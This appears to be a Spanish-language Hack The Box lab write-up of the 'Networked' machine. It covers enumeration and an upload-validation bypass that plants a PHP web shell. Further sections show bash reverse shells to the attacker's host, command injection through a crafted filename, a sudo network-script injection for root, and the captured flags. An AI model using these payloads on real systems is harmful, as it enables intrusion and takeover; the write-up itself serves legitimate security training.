Networked
Hack The Box — Metodología Detallada
Networked
| IP: | 10.129.20.170 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 28 de junio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Se realizó el escaneo con la herramienta nmap, en el cual se encontraron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP), constituyendo este último el único vector interesante ya que el puerto 22 requiere credenciales válidas.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Hipótesis: dada la versión de Apache (2.4.x) y PHP (5.4.16),
claramente desactualizadas, se consideró la posibilidad de que la
máquina fuera vulnerable a alguna de las CVE comunes asociadas a esta
rama, entre ellas: CVE-2019-17567 (fallo en mod_proxy_wstunnel),
CVE-2023-38709 (HTTP response splitting), CVE-2025-53020 (liberación
tardía de memoria) y CVE-2014-0117 (DoS en mod_proxy). Se decidió
mantener esta información como referencia y continuar con la enumeración
web antes de profundizar en alguna CVE específica, dado que ninguna de
ellas presentaba un vector claro de explotación inicial sin más contexto
de la aplicación.

Enumeración
Revisión del código fuente
A simple vista, la página principal no mostraba nada interesante. Al
inspeccionar el código fuente de la página mediante Ctrl+U se obtuvo
el siguiente resultado:
# Ctrl + U
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
Hallazgo: el comentario <!– upload and gallery not yet linked –>
resulta especialmente relevante, ya que sugiere la existencia de
funcionalidades de upload y gallery aún no enlazadas en la
navegación visible, lo cual representa una pista clara para enumeración
de directorios adicionales.
Enumeración con Feroxbuster
Con base en la pista anterior, se decidió realizar un escaneo con feroxbuster para verificar la existencia de dichos directorios y descubrir contenido adicional.
# Comando ejecutado
feroxbuster -u http://10.129.20.170/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output
200 GET 201l 582w 10240c http://10.129.20.170/backup/backup.tar
301 GET 7l 20w 237c http://10.129.20.170/uploads => http://10.129.20.170/uploads/
Se encontró un archivo llamado backup.tar y se confirmó la existencia
de la carpeta uploads, en línea con lo sugerido por el comentario
hallado en el código fuente.
Descarga y análisis del backup
Al encontrar el archivo backup.tar se procedió a descargarlo y revisar
su contenido.
# Comando ejecutado
curl -O http://10.129.20.170/backup/backup.tar
% Total % Received % Xferd Average Speed Time Time Time Current
100 10240 100 10240 0 0 56832 0 --:--:-- --:--:-- --:--:-- 0
ls
total 16
-rw-r--r-- 1 root root 397 Jun 28 04:51 allPorts
-rw-r--r-- 1 Avilx Avilx 10240 Jun 28 05:33 backup.tar
tar -tvf backup.tar
-rw-r--r-- root/root 229 2019-07-09 11:33 index.php
-rw-r--r-- root/root 2001 2019-07-02 11:38 lib.php
-rw-r--r-- root/root 1871 2019-07-02 12:53 photos.php
-rw-r--r-- root/root 1331 2019-07-02 12:45 upload.php
Se identificaron cuatro archivos PHP dentro del backup, correspondientes a la lógica completa de la funcionalidad de carga de archivos y galería mencionada en el comentario del código fuente.
tar -xvf backup.tar
index.php
lib.php
photos.php
upload.php
Análisis del código fuente extraído
Se procedió a analizar el contenido completo de los cuatro archivos extraídos, con el objetivo de identificar lógica de validación potencialmente vulnerable.
cat index.php
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
Observación: el contenido de index.php coincide exactamente con lo
ya observado en la revisión inicial del código fuente vía HTTP,
confirmando que se trata del mismo archivo en producción.
cat upload.php
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
cat lib.php
<?php
function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo))
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0)
{
return $file_type;
}
}
return $file['type'];
}
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">
<br>
<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}
?>
Hallazgo en upload.php: la validación de extensión (líneas 23-29)
utiliza substr_compare para verificar únicamente que el nombre del
archivo termine en una extensión válida (.jpg, .png, .gif,
.jpeg), sin restringir el contenido del nombre antes de dicha
extensión.
Hallazgo en lib.php: la función getnameUpload() (líneas 12-18)
obtiene la extensión real que se utilizará para guardar el archivo
mediante un explode por todos los puntos del nombre, descartando
el primer fragmento (array_shift) y reconstruyendo el resto con
implode. Adicionalmente, check_file_type() (líneas 57-64) valida el
tipo MIME real del archivo mediante finfo_file/mime_content_type, no
su extensión declarada.
Hipótesis planteada: un archivo nombrado shell.php.jpg pasaría la
validación de substr_compare al terminar en .jpg. Sin embargo, al
procesarse con getnameUpload(), los fragmentos resultantes del
explode(’.’, "shell.php.jpg") serían shell, php, jpg; tras el
array_shift (que retira shell), el implode('.', $pieces)
reconstruiría la extensión como php.jpg. El nombre final guardado en
el servidor seguiría el patrón definido en la línea 36 de upload.php:
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
resultando en un archivo del tipo <ip_atacante>.php.jpg,
potencialmente ejecutable por Apache debido a la presencia de .php en
el nombre (vulnerabilidad clásica de doble extensión en configuraciones
antiguas de Apache).
Bypass de validación MIME — Magic Bytes
Para superar check_file_type(), dado que esta función valida el
contenido real del archivo y no su nombre, se planteó construir un
archivo cuyo contenido iniciara con la cabecera (magic bytes)
correspondiente a un archivo GIF válido, seguida del payload PHP.
echo 'GIF89a;' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
cat shell.php.jpg
GIF89a;
<?php system($_GET["cmd"]); ?>
De esta forma, el sistema identifica el archivo como image/gif a nivel
de contenido, mientras el nombre conserva la doble extensión necesaria
para su ejecución como PHP.
Explotación
Acceso al formulario de carga
Dado que index.php no enlaza visualmente a upload.php (confirmado
por el comentario HTML hallado previamente), se accedió directamente a
la ruta:
http://10.129.20.170/upload.php
Carga del archivo malicioso
Se subió el archivo shell.php.jpg a través del formulario, obteniendo
confirmación de éxito:
file uploaded, refresh gallery
Confirmación de RCE
Conociendo la lógica de nombrado (ip_atacante.php.jpg), se accedió
directamente al archivo subido con un parámetro de comando:
http://10.129.20.170/uploads/10_10_15_163.php.jpg?cmd=id
Resultado:
GIF89a; uid=48(apache) gid=48(apache) groups=48(apache)
Esto confirmó la ejecución remota de comandos (RCE) en el contexto del
usuario apache, validando exitosamente la cadena completa: comentario
HTML $\rightarrow$ backup expuesto $\rightarrow$ análisis de código
$\rightarrow$ bypass de doble extensión y MIME type.
Obtención de reverse shell
Se inició un listener en la máquina atacante:
nc -lvnp 4444
Y se envió el payload de reverse shell mediante el parámetro cmd,
codificado para URL:
curl -G "http://10.129.20.170/uploads/10_10_15_163.php.jpg" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.163/4444 0>&1"'
Resultado:
Listening on 0.0.0.0 4444
Connection received on 10.129.20.170 40902
bash: no job control in this shell
bash-4.2$ whoami
apache
bash-4.2$ pwd
/var/www/html/uploads
bash-4.2$ ls
10_10_15_163.php.jpg
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
index.html
Escalada de Privilegios
Intento fallido — estabilización con python3
Hipótesis: se intentó estabilizar la sesión mediante el método
habitual con python3.
python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: python3: command not found
Por qué no funcionó: al tratarse de una máquina basada en CentOS de
2019, el sistema no cuenta con python3 instalado por defecto,
únicamente con python (versión 2).
Intento fallido — sudo -l sin TTY
Hipótesis: se intentó verificar los permisos sudo del usuario
apache inmediatamente después de obtener la shell.
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
sudo: no tty present and no askpass program specified
Por qué no funcionó: la shell obtenida mediante netcat no cuenta con
una TTY completa, por lo que sudo no puede solicitar la contraseña de
forma interactiva. Se procedió a estabilizar la sesión con python
(versión 2, disponible en el sistema):
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Intento fallido — sudo -l sin contraseña
Tras estabilizar la sesión, se reintentó el comando.
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for apache:
Sorry, try again.
[sudo] password for apache:
Sorry, try again.
[sudo] password for apache:
sudo: 3 incorrect password attempts
Por qué no funcionó: no se contaba con la contraseña del usuario
apache, por lo que se descartó esta vía y se procedió a buscar
vectores alternativos de escalada mediante enumeración manual.
Enumeración de binarios SUID/SGID, capabilities y cron
find / -perm -4000 -type f 2>/dev/null
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/fusermount
find / -perm -2000 -type f 2>/dev/null
/usr/libexec/openssh/ssh-keysign
/usr/libexec/utempter/utempter
/usr/sbin/sendmail.sendmail
/usr/sbin/netreport
/usr/sbin/postdrop
/usr/sbin/postqueue
/usr/bin/wall
/usr/bin/write
/usr/bin/lockfile
/usr/bin/ssh-agent
find / -type f -exec getcap {} \; 2>/dev/null
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/bin/ping = cap_net_admin,cap_net_raw+p
ls -la /etc/cron.d/ /etc/cron.daily/ 2>/dev/null
/etc/cron.d/:
total 16
drwxr-xr-x. 2 root root 21 Jul 2 2019 .
drwxr-xr-x. 79 root root 8192 Jul 9 2019 ..
-rw-r--r--. 1 root root 128 Nov 20 2018 0hourly
/etc/cron.daily/:
total 20
drwxr-xr-x. 2 root root 42 Jul 2 2019 .
drwxr-xr-x. 79 root root 8192 Jul 9 2019 ..
-rwx------. 1 root root 219 Oct 30 2018 logrotate
-rwxr-xr-x. 1 root root 618 Oct 30 2018 man-db.cron
Observación: ningún binario SUID/SGID ni capability resultó explotable
de forma directa. Se identificó que /etc/cron.d/0hourly ejecuta
run-parts /etc/cron.hourly como root cada hora.
cat /etc/cron.d/0hourly
# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly
ls -la /etc/cron.hourly/
total 16
drwxr-xr-x. 2 root root 22 Jul 2 2019 .
drwxr-xr-x. 79 root root 8192 Jul 9 2019 ..
-rwxr-xr-x. 1 root root 392 Nov 20 2018 0anacron
Por qué no funcionó: el único script presente (0anacron) pertenece
a root:root sin permisos de escritura para apache, descartando esta
vía.
Intento fallido — network-scripts
Hipótesis: dado el nombre de la máquina (Networked), se sospechó
que el vector de escalada estaría relacionado con la configuración de
red del sistema. Se inspeccionó /etc/sysconfig/network-scripts/,
identificando un archivo no estándar.
ls -la /etc/sysconfig/network-scripts/
total 244
drwxr-xr-x. 2 root root 4096 Sep 21 2022 .
drwxr-xr-x. 6 root root 4096 Jul 8 2019 ..
-rw------- 1 root root 265 Sep 21 2022 ifcfg-eth0
-rw-r--r-- 1 root root 114 Jul 8 2019 ifcfg-guly
-rw-r--r--. 1 root root 254 Aug 24 2018 ifcfg-lo
lrwxrwxrwx. 1 root root 24 Sep 7 2022 ifdown -> ../../../usr/sbin/ifdown
-rwxr-xr-x 1 root root 1621 Mar 17 2017 ifdown-Team
-rwxr-xr-x 1 root root 1556 Mar 17 2017 ifdown-TeamPort
-rwxr-xr-x. 1 root root 654 Aug 24 2018 ifdown-bnep
-rwxr-xr-x. 1 root root 6532 Aug 24 2018 ifdown-eth
-rwxr-xr-x. 1 root root 781 Aug 24 2018 ifdown-ippp
-rwxr-xr-x. 1 root root 4540 Aug 24 2018 ifdown-ipv6
lrwxrwxrwx. 1 root root 11 Sep 7 2022 ifdown-isdn -> ifdown-ippp
-rwxr-xr-x. 1 root root 2130 Aug 24 2018 ifdown-post
-rwxr-xr-x. 1 root root 1068 Aug 24 2018 ifdown-ppp
-rwxr-xr-x. 1 root root 870 Aug 24 2018 ifdown-routes
-rwxr-xr-x. 1 root root 1456 Aug 24 2018 ifdown-sit
-rwxr-xr-x. 1 root root 1462 Aug 24 2018 ifdown-tunnel
lrwxrwxrwx. 1 root root 22 Sep 7 2022 ifup -> ../../../usr/sbin/ifup
-rwxr-xr-x 1 root root 1755 Mar 17 2017 ifup-Team
-rwxr-xr-x 1 root root 1876 Mar 17 2017 ifup-TeamPort
-rwxr-xr-x. 1 root root 12415 Aug 24 2018 ifup-aliases
-rwxr-xr-x. 1 root root 910 Aug 24 2018 ifup-bnep
-rwxr-xr-x. 1 root root 13475 Aug 24 2018 ifup-eth
-rwxr-xr-x. 1 root root 12075 Aug 24 2018 ifup-ippp
-rwxr-xr-x. 1 root root 11893 Aug 24 2018 ifup-ipv6
lrwxrwxrwx. 1 root root 9 Sep 7 2022 ifup-isdn -> ifup-ippp
-rwxr-xr-x. 1 root root 650 Aug 24 2018 ifup-plip
-rwxr-xr-x. 1 root root 1064 Aug 24 2018 ifup-plusb
-rwxr-xr-x. 1 root root 4997 Aug 24 2018 ifup-post
-rwxr-xr-x. 1 root root 4154 Aug 24 2018 ifup-ppp
-rwxr-xr-x. 1 root root 2001 Aug 24 2018 ifup-routes
-rwxr-xr-x. 1 root root 3303 Aug 24 2018 ifup-sit
-rwxr-xr-x. 1 root root 2711 Aug 24 2018 ifup-tunnel
-rwxr-xr-x. 1 root root 1836 Aug 24 2018 ifup-wireless
-rwxr-xr-x. 1 root root 5419 Aug 24 2018 init.ipv6-global
-rw-r--r--. 1 root root 20671 Aug 24 2018 network-functions
-rw-r--r--. 1 root root 31027 Aug 24 2018 network-functions-ipv6
cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=asodih
BROWSER_ONLY=asdoih
BOOTPROTO=asdoih
Observación: el contenido del campo NAME=ps /tmp/foo sugirió un
intento previo de inyección de comandos a través de este mecanismo,
posiblemente de un snapshot anterior de la máquina. Se intentó crear un
archivo de prueba en el mismo directorio para confirmar permisos de
escritura directa.
touch /etc/sysconfig/network-scripts/ifcfg-test
touch: cannot touch '/etc/sysconfig/network-scripts/ifcfg-test': Permission denied
Por qué no funcionó: a pesar de la pista visual en ifcfg-guly, el
directorio /etc/sysconfig/network-scripts/ pertenece a root:root con
permisos 755, por lo que el usuario apache no posee permisos de
escritura para crear nuevos archivos ifcfg-* directamente. Esta vía
fue descartada en este punto.
Pivote — cron job check_attack.php
Se buscaron archivos relacionados con crontabs en el sistema,
localizando un backup del crontab del usuario guly.
find / -iname "*crontab*" 2>/dev/null
/home/guly/crontab.guly
/usr/share/vim/vim74/syntax/crontab.vim
/usr/share/man/man4/crontabs.4.gz
/usr/share/man/man5/anacrontab.5.gz
/usr/share/man/man5/crontab.5.gz
/usr/share/man/man1/crontab.1.gz
/usr/bin/crontab
/var/lib/yum/yumdb/c/1d5512974760d7facdca01e79f18e857c465342d-crontabs-1.11-6.20121102git.el7-noarch
/etc/crontab
/etc/anacrontab
cat /home/guly/crontab.guly
*/3 * * * * php /home/guly/check_attack.php
Se analizó el contenido del script ejecutado cada 3 minutos.
cat /home/guly/check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
Vulnerabilidad identificada: el script recorre los archivos en
/var/www/html/uploads/ (directorio donde apache sí posee permisos de
escritura, al ser el directorio de carga de la aplicación) y, cuando el
nombre del archivo no corresponde a una IP válida según check_ip(),
concatena dicho nombre directamente dentro de exec() sin sanitización:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
Esto permite inyección de comandos a través del nombre del archivo
subido, ejecutado como el usuario guly cada 3 minutos por el cron
correspondiente.
Hipótesis: se planteó crear, desde la shell ya obtenida como
apache, un archivo en /var/www/html/uploads/ cuyo nombre contuviera
un payload de reverse shell, de forma que al ser procesado por exec()
dentro de check_attack.php se ejecutara como el usuario guly.
Intento fallido — caracteres / literales:
touch '/var/www/html/uploads/;bash -i >& /dev/tcp/10.10.15.163/5555 0>&1;'
touch: cannot touch '/var/www/html/uploads/;bash -i >& /dev/tcp/10.10.15.163/5555 0>&1;': No such file or directory
Por qué no funcionó: el sistema de archivos interpreta el carácter
/ como separador de directorios incluso dentro de comillas en el
nombre del archivo. Como el payload (/dev/tcp/10.10.15.163/5555)
contiene múltiples /, touch intentó crear subdirectorios
inexistentes en lugar de un único archivo con ese nombre literal.
Solución: se utilizó la expansión de variable ${PATH:0:1}
(equivalente al primer carácter de $PATH, normalmente /) para evitar
escribir el carácter / literalmente en el nombre del archivo, dado que
dicho carácter solo se expandiría al momento de la ejecución por bash,
no durante la creación del archivo.
touch -- ';bash -i >& ${PATH:0:1}dev${PATH:0:1}tcp${PATH:0:1}10.10.15.163${PATH:0:1}5555 0>&1;'
ls /var/www/html/uploads/
10_10_15_163.php.jpg
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
;bash -i >& ${PATH:0:1}dev${PATH:0:1}tcp${PATH:0:1}10.10.15.163${PATH:0:1}5555 0>&1;
index.html
Se abrió un listener en el puerto 5555 y, tras esperar el ciclo del cron
(máximo 3 minutos), se recibió una shell como el usuario guly.
nc -lvnp 5555
Listening on 0.0.0.0 5555
Connection received on 10.129.20.170 55992
bash: no job control in this shell
[guly@networked ~]$ pwd
/home/guly
[guly@networked ~]$ whoami
guly
Resultado: se confirmó exitosamente el pivote del usuario apache
al usuario guly mediante inyección de comandos a través del nombre de
archivo.
Obtención de la flag de usuario
ls -la
total 28
drwxr-xr-x. 2 guly guly 4096 Sep 6 2022 .
drwxr-xr-x. 3 root root 18 Jul 2 2019 ..
lrwxrwxrwx. 1 root root 9 Sep 7 2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Jun 28 06:29 user.txt
cat user.txt
2872a604702bf28e2dd7587bbb717b33
Escalada de guly a root
Se verificaron los privilegios sudo del usuario.
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
Observación: el usuario guly puede ejecutar el script
changename.sh como root sin contraseña. Se analizó su contenido para
identificar el vector de abuso.
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
Hallazgo clave: el script escribe la respuesta del usuario sin
comillas (echo $var=$x >> ...), por lo que un valor con un espacio
(carácter permitido por la regex ^[a-zA-Z0-9_ /-]+$) genera una línea
del tipo NAME=x /ruta/script en el archivo ifcfg-guly. Cuando dicho
archivo es procesado posteriormente por ifup (ejecutado como root),
bash interpreta esa línea como una asignación de variable seguida de la
ejecución de un comando como argumento.
Primer intento — entrada vacía:
Hipótesis: se intentó omitir el valor del campo NAME para observar
el comportamiento de la validación.
sudo /usr/local/sbin/changename.sh
interface NAME:
wrong input, try again
interface NAME:
wrong input, try again
[... ciclo repetido por entradas vac\'ias consecutivas ...]
interface NAME:
d
interface PROXY_METHOD:
d
interface BROWSER_ONLY:
d
interface BOOTPROTO:
d
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
Por qué no funcionó: la regex exige al menos un carácter válido
(+), por lo que una entrada vacía es rechazada repetidamente por el
bucle while. Este primer intento solo permitió confirmar el
comportamiento del script y la generación del archivo ifcfg-guly, sin
lograr ejecución de comandos.
Segundo intento — script con extensión:
Hipótesis: se preparó un payload en /tmp/priv.sh que otorgara el
bit SUID a /bin/bash, asumiendo que bastaría con referenciarlo en el
campo NAME junto a un carácter inicial y un espacio.
echo '#!/bin/bash' > /tmp/priv.sh
echo 'chmod +s /bin/bash' >> /tmp/priv.sh
chmod +x /tmp/priv.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
x /tmp/priv.sh
wrong input, try again
Por qué no funcionó: la ruta /tmp/priv.sh fue rechazada por la
regex al contener un punto (.), carácter no incluido en el conjunto
permitido [a-zA-Z0-9_ /-]. La extensión .sh, aunque necesaria
convencionalmente para identificar un script bash, no es aceptada por
esta validación.
Solución: se renombró el script eliminando la extensión, de forma que su nombre cumpliera con la regex.
mv /tmp/priv.sh /tmp/priv
ls -la /tmp/priv
-rwxrwxr-x 1 guly guly 31 Jun 28 08:40 /tmp/priv
Se ejecutó nuevamente el script con privilegios sudo, ingresando
x /tmp/priv en el campo NAME (válido según la regex: letras, espacio
y /).
sudo /usr/local/sbin/changename.sh
interface NAME:
x /tmp/priv
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
Observación: el mensaje de error sobre el dispositivo guly0 es
esperado y no afecta el resultado, ya que la ejecución del payload
ocurre durante el procesamiento de la línea NAME por parte de
ifup-eth, independientemente de si el dispositivo de red final llega a
inicializarse correctamente.
Resultado: el bit SUID fue aplicado exitosamente sobre /bin/bash.
ls -la /bin/bash
-rwsr-sr-x. 1 root root 964608 Oct 30 2018 /bin/bash
Se obtuvo una shell con privilegios de root.
/bin/bash -p
whoami
root
Obtención de la flag root
cat /root/root.txt
e417687f7ef7db2f37724d71eeb44c08
Reflexión Final
Qué salió bien
- La enumeración web inicial resultó cómoda y rápida: la revisión
manual del código fuente mediante
Ctrl+Upermitió identificar de inmediato la pista clave (upload and gallery not yet linked), que luego se confirmó conferoxbusteral descubrir el backup expuesto.
Qué salió mal o costó más
-
A partir de la carga del archivo malicioso, la dificultad aumentó considerablemente. Las técnicas involucradas (bypass de doble extensión, magic bytes, inyección de comandos vía nombre de archivo, y bypass de expresión regular en
changename.sh) eran conceptos completamente nuevos, lo que ralentizó significativamente el avance en comparación con la fase de enumeración inicial. -
La lectura detallada del código PHP extraído del backup (
upload.php,lib.php,photos.php) tomó más tiempo del esperado, dado que se requería rastrear el flujo de una variable ($ext) a través de varias funciones para entender la lógica completa de la vulnerabilidad.
Lecciones aprendidas
-
El bypass de validación de extensión mediante doble extensión (
shell.php.jpg) es efectivo cuando la validación solo verifica el final del nombre del archivo sin considerar cómo se procesa la extensión más adelante en el código. -
Los magic bytes permiten engañar validaciones de tipo MIME basadas en contenido, independientemente del nombre o extensión declarada del archivo.
-
Un nombre de archivo puede constituir un vector de inyección de comandos cuando se concatena sin sanitización dentro de funciones como
exec(). -
La expansión de variables de bash (
${PATH:0:1}) permite obtener caracteres especiales (como/) sin escribirlos literalmente, útil para evadir restricciones del sistema de archivos al momento de nombrar archivos. -
Las expresiones regulares de validación de entrada deben analizarse exhaustivamente: un carácter permitido aparentemente inofensivo (como el espacio) puede habilitar inyección de comandos si la salida no se trata con comillas adecuadas al escribirse en un archivo de configuración interpretado posteriormente.
-
El nombre de una máquina en plataformas como HTB frecuentemente constituye una pista directa sobre el vector principal de explotación a investigar (en este caso, Networked apuntando hacia
network-scripts).
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 3 horas.